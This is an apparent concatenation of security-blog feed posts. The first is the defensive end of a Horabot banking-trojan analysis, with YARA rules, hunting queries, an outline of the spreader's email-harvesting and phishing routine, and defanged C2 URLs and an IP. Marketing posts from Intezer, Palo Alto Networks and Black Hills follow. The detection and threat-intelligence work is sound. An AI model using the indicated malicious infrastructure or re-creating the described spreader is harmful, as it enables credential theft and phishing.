    classtype:trojan-activity; \
    sid:1900000; \
    rev:1; \
    metadata:author Domenico; \
)

As documented by our colleagues at Fortinet, the malware contains functionality to display fake pop-ups prompting victims to enter their banking credentials. The images for these pop-ups are stored as encrypted resources. Unlike strings, resources are decrypted using the standard RC4 cipher, and the key pega-avisao3234029284 is retrieved from the previous TStringList structure at offset 3FEh.

The wordplay around “pega a visão”, Brazilian slang meaning “get the picture” figuratively, reveals an intentional cultural reference, supporting the already well-known Brazilian ties of the operators who have a native understanding of the language.

Below is a collage of pictures where the targeted bank overlays are visible.

Stage 4: The spreader

In our tests, we noticed that both the VBScript (the heavy lifter) and the Delphi DLL have overlapping functionality for downloading the next stage via PowerShell. Although they rely on different domains, they follow the same URL pattern.

We tried accessing URLs meant for downloading the spreader. One returned nothing, while the other displayed a sequence of two PowerShell stagers before reaching the actual spreader.

In the second stager, we found several Base64-encoded URLs, but only one of them was active during our analysis. Based on comments found in the spreader code, we suspect that in previous versions or campaigns the spreader was assembled piece by piece from these other URLs. In our case, however, a single URL contained all the necessary code.

Yes, we also wondered how PowerShell could possibly accept ASCII chaos as variable/function names, but it does. After cleaning up the messy naming convention and reviewing the well-commented routines (thanks, threat actor), we were able to identify its main duties:

• Harvest emails via the MAPI namespace;
• Exfiltrate unique email addresses to the C2;
• Clean up the outbox;
• Filter the exfiltrated email addresses against a blocklist of keywords;
• Prepare a phishing email containing a malicious PDF;
• Mass-distribute the email to the filtered addresses.

One interesting point is that the spreader’s code and comments allow us to extract some useful intel:

• All comments are written in Brazilian Portuguese, which gives a strong indication of the threat actor’s origin.
• It is fairly easy to distinguish comments written by a human from those most likely generated by an AI/LLM; the latter are too formal and remarkably well-formatted. One of the human comments actually inspired the title of this article.
• One of the comments in the code reads “limpa a caixa de saida antes de sapecar”. Sapecar has a very specific meaning that only Brazilian Portuguese speakers would naturally understand. The closest equivalent to this comment in English would be: “Clear the outbox before you blast it off or let it rip.”

Our team tracked Horabot activity for a few months and compiled a collection of malicious attachment examples used in this campaign. They are all written in Spanish and urge the user to click a large button in the document to access a “confidential file” or an “invoice”. Clicking the button triggers the same infection chain described in this article.

Detection engineering and threat hunting opportunities

After navigating this long, layered attack chain, we bet some of the tech folks reading this have already started imagining potential detection opportunities.
With that in mind, this section provides some rules and queries that you can use to detect and hunt this threat in your own environment.

YARA rules

The YARA rules focus on two core components of the operation: the AutoIt script that functions as the loader, and the Delphi DLL that serves as the banking Trojan.

import "pe"

rule Horabot_Delphi_Trojan
{
    meta:
        author = "maT"
        description = "Detects Horabot payload/trojan (Delphi DLL)"
        hash_01 = "6272ef6ac1de8fb4bdd4a760be7ba5ed"
        hash_02 = "4caa797130b5f7116f11c0b48013e430"
        hash_03 = "c882d948d44a65019df54b0b2996677f"

    condition:
        uint32be(0) == 0x4d5a5000 and 
        filesize < 150MB and 
        pe.is_dll() and
        pe.number_of_exports == 4 and
        pe.exports("dbkFCallWrapperAddr") and
        pe.exports("__dbk_fcall_wrapper") and
        pe.exports("TMethodImplementationIntercept") and
        pe.exports(/^[A-Z][0-9]{6}_[A-Z0-9]$/)
}

rule Horabot_AutoIT_Loader
{
    meta:
        author = "maT"
        description = "Detects AutoIT script used as a loader by Horabot"
    
    strings:
        $winapi_01 = "Advapi32.dll"
        $winapi_02 = "CryptDeriveKey"
        $winapi_03 = "CryptDecrypt"
        $winapi_04 = "MemoryLoadLibrary"
        $winapi_05 = "VirtualAlloc"
        $winapi_06 = "DllCallAddress"

        $str_seed = "99521487"
        $str_func01 = "B080723_N"
        $str_func02 = "A040822_1"

        $opt_hexstr01 = { 20 3D 20 22 ?? ?? ?? ?? ?? ?? ?? 5F ?? 22 20 0D 0A 4C 6F 63 61 6C 20 24} // = "B080723_N" CRLF Local $
        $opt_aes192 = "0x0000660f" // CALG_AES_192
        $opt_md5 = "0x00008003" // CALG_MD5      

    condition:
        filesize < 100KB and
        all of ($winapi*) and
        (
            1 of ($str*) or
            all of ($opt*)
        )

}

Hunting queries

You may notice that some patterns in this section do not appear in the URLs described earlier in the article. These additional patterns were included because we observed small variations introduced by the threat actor over time, such as the use of QR codes in the lure pages.

VirusTotal Intelligence	entity:url (url:”0DOWN1109″ or url:”0QR-CODE” or url:”0zip0408″ or url:”0out0408″ or url:”0capcha17″ or url:”/g1/ld1/” or url:”/g1/auxld1″ or url:”/au/gerapdf/blqs1″ or url:”/au/gerauto.php” or url:”g1/ctld” or url:”index25.php” or url:”07f07ffc-028d” or url:”0AT14″ or url:”0sen711″) or (url:”index15.php” and (url:”/on7″ or url:”/on7all” or url:”/inf”))
URLScan	page.url.keyword:/.*\/([0-9]{6}|reserva)\/(au|up)\/.*/ OR page.url:(*0DOWN1109* OR *0QR-CODE* OR *0zip0408* OR *0out0408* OR *0capcha17* OR *\/g1\/ld1* OR *\/g1\/auxld1* OR *\/au\/gerapdf\/blqs1* OR *\/au\/gerauto.php* OR *\/g1\/ctld* OR *\/index25.php OR *\/index15.php)

IoCs

Indicator	Description
hxxps://evs.grupotuis[.]buzz/0capcha17/	Fake CAPTCHA page
hxxps://evs.grupotuis[.]buzz/0capcha17/DMEENLIGGB.hta	HTA file
hxxps://evs.grupotuis[.]buzz/0capcha17/DMEENLIGGB/GRXUOIWCEKVX	JavaScript Loader 01
hxxps://pdj.gruposhac[.]lat/g1/ld1/	VBS Polymorphic 01
hxxps://pdj.gruposhac[.]lat/g1/auxld1	JavaScript Loader 02
hxxps://pdj.gruposhac[.]lat/g1/	VBS Polymorphic 02 (heavy lifter)
hxxps://pdj.gruposhac[.]lat/g1/ctld/	List of victims
hxxps://pdj.gruposhac[.]lat/g1/gerador.php	Link to download AutoIT script
hxxps://cgf.facturastbs[.]shop/0725/a/home (GET)	List of C2 addresses encrypted
hxxps://cfg.brasilinst[.]site/a/br/logs/index.php?CHLG (POST)	Contacted by the Delphi DLL
hxxps://aufal.filevexcasv[.]buzz/on7/index15.php (POST) hxxps://aufal.filevexcasv[.]buzz/on7all/index15.php (POST)	Contacted by the Delphi DLL
hxxps://cgf.facturastbs[.]shop/a/08/150822/au/at.html	Contacted by the Delphi DLL
hxxps://labodeguitaup[.]space/a/08/150822/au/au hxxps://cgf.midasx[.]site/a/08/150822/au/au	PowerShell stager 01
hxxps://cgf.facturastbs[.]shop/a/08/150822/au/gerauto.php	PowerShell stager 02
hxxps://cgf.facturastbs[.]shop/a/08/150822/au/app	Link to download the spreader
hxxps://cgf.facturastbs[.]shop/a/08/150822/au/gerapdf/blqs1	List of blocklist keywords
hxxps://thea.gruposhac[.]space/0out0408	Link found in the button of the first malicious attachment
6272EF6AC1DE8FB4BDD4A760BE7BA5ED	Delphi DLL sample
lifenews[.]pro	C2 (socket)
64.177.80[.]44	C2 (socket)

Security operations is undergoing a fundamental shift.

As alert volumes continue to rise and environments grow more complex, enterprises are moving away from security models built on manual triage, fragmented automation, and are looking to decrease their reliance on outsourced MDR services. More enterprises are adopting AI SOC as the new model for running security operations, one that can triage and  investigate all alerts at machine scale while keeping internal teams focused on judgment and response.

That shift was reflected clearly in Intezer’s momentum over the past year.

In 2025, Intezer processed more than 25 million security alerts across live enterprise SOC environments, as adoption expanded across large and complex organizations looking for a more scalable way to run security operations.

A year of strong growth

Over the past year, Intezer achieved several major company milestones:

• Multiplied revenue year over year
• Achieved 126% net revenue retention
• Expanded adoption across Fortune 500 organizations
• Scaled the team across key functions to support a growing enterprise customer base

These milestones reflect more than company growth. They reflect a broader market transition toward AI SOC as enterprises look for ways to investigate every alert, reduce hidden risk, and operate beyond the limits of human investigation capacity.

Growing industry recognition

Intezer’s momentum is also being recognized by media, industry analysts and practitioners. Here is a sampling of recent coverage.

Reuters covered Intezer’s research team’s work on uncovering novel cyber attacks this past December, that were targeting Russian defense organizations. 

Well known industry analyst Richard Stiennon recently included Intezer in the 2026 Cyber 150, an independently compiled list based on IT-Harvest data, and has also included Intezer in his new book, Guardians of the Machine Age.

At the same time, practitioners are taking notice. In his write-up on Intezer’s 2026 AI SOC Report, Darwin Salazar highlighted the report’s forensic depth, auditability, and practical value in a crowded AI SOC market.

Why this momentum matters

Traditional SOC and MDR models are constrained by human investigation bandwidth. As alert volumes increase, teams are forced to prioritize only a subset of alerts, often based on severity labels before full context is available. That leaves real risk hiding in uninvestigated alerts.

Enterprises are increasingly adopting AI SOC to remove that bottleneck.

Intezer investigates 100% of alerts at forensic depth across endpoint, identity, cloud, network, phishing, and SIEM sources, escalating only the incidents (less than 2%) that require human judgment. This allows security teams to stay in control while scaling operations far beyond what manual investigation models can support.

What the numbers show

The business results from the past year point to strong validation in the market.

Doubling revenue year over year signals accelerating demand.

126% net revenue retention reflects strong customer expansion and continued platform adoption.

Growth across Fortune 500 organizations shows that large enterprises are increasingly embracing this operating model.

And continued team expansion across key functions ensures Intezer can support customers as adoption grows.

Looking ahead

The market is moving toward a new SOC operating model, one where AI executes investigations at scale and human teams focus on decisions, response, and strategy.

Intezer’s momentum over the past year reflects that shift clearly. As more enterprises look to eliminate investigation bottlenecks and reduce cyber risk, AI SOC is moving from emerging category to operational reality.

Learn more about Intezer.

The post Intezer’s 2025 momentum reflects rapid adoption of AI SOC in global enterprise  appeared first on Intezer.

Forging Secure AI Threat Protection for Singapore

Singapore is currently undergoing a decisive transition toward an AI-enabled economy. National initiatives are focused on driving large-scale transformation through the National AI Missions and integrating advanced technologies, including generative AI and autonomous agents across key sectors. This rapid technological evolution, however, also introduces a sophisticated threat landscape characterized by AI-specific risks, like prompt injection, model manipulation and sensitive data leakage. As enterprises scale AI adoption, the need for robust, AI-native and locally hosted cybersecurity solutions becomes essential to ensure data residency, regulatory alignment and operational resilience.

Strategic Imperatives for an Emerging AI Security Landscape

Singapore’s highly integrated digital ecosystem presents both significant opportunities for leadership as well as distinct security challenges. As the nation executes its National AI Strategy 2.0, the focus has shifted from high-level experimentation to the pervasive deployment of AI across the economy. This evolution requires a security posture that is not only AI-native but locally grounded to satisfy the data residency expectations of a global financial and innovation hub.

Palo Alto Networks is pleased to announce a strategic investment designed to enhance Singapore’s cyber resilience – the establishment of our new cloud landing for Prisma^® AIRS. This launch demonstrates a commitment to providing organizations in the region with an AI-powered cybersecurity platform that aligns with the National AI Council’s whole-of-government mission. This initiative optimizes operational efficiency and facilitates the secure adoption of advanced digital transformation projects, allowing organizations to Deploy Bravely.

Comprehensive AI Security Platform

The new regional expansion in Singapore now hosts Prisma AIRS, our most comprehensive AI security platform, specifically engineered to deliver robust security across the entire AI lifecycle. This localized landing provides Singaporean organizations with domestic, high-performance access to critical AI security capabilities:

AI Model Security
Enable the safe adoption of third-party AI models by scanning them for vulnerabilities and secure your AI ecosystem against risks, such as model tampering, malicious scripts and deserialization attacks.

AI Red Teaming
Uncover potential exposure and lurking risks before bad actors do. Perform automated penetration tests on your AI apps and models using our Red Teaming agent that stress tests your AI deployments. Our agent learns and adapts like a real attacker.

AI Runtime Security
Protect your LLM-powered AI apps, models and data against runtime threats, such as prompt injection, malicious code, toxic content, sensitive data leaks, resource overload, hallucinations and more.

AI Agent SSPM (SaaS Security Posture Management)
Secure AI agents (including those built on no-code/low-code platforms) against new agentic threats, such as identity impersonation, memory manipulation and tool misuse.

Commitment to Singapore's AI Future

Our new region expansion into Singapore signifies the long-term commitment of Palo Alto Networks to the nation’s digital transformation journey and its cybersecurity resilience. By bringing advanced, AI-native platforms closer to regional organizations, Palo Alto Networks helps enterprises achieve data residency and national data sovereignty needs, enhance performance and strengthen security posture. This localized presence simplifies operations and accelerates the safe adoption of generative AI and agentic workflows.

As Singapore continues its trajectory toward an AI-driven and secure future, Palo Alto Networks stands as a trusted partner, empowering organizations to innovate and thrive securely within an evolving threat landscape. The establishment of this new cloud landing reinforces the ongoing promise to deliver the best-in-class cybersecurity platforms that the country requires to lead on the global stage.

Please visit the regional cloud locations of Palo Alto Networks for more information.

The post Announcing Prisma AIRS Availability in Singapore Region appeared first on Palo Alto Networks Blog.

“GRC” isn’t all witchcraft and administrative nonsense — it’s the core that drives security initiatives, connects security spend to business outcomes, and powers a well-functioning security team.

The post Understanding GRC: How to Navigate Risks and Compliance Standards appeared first on Black Hills Information Security, Inc..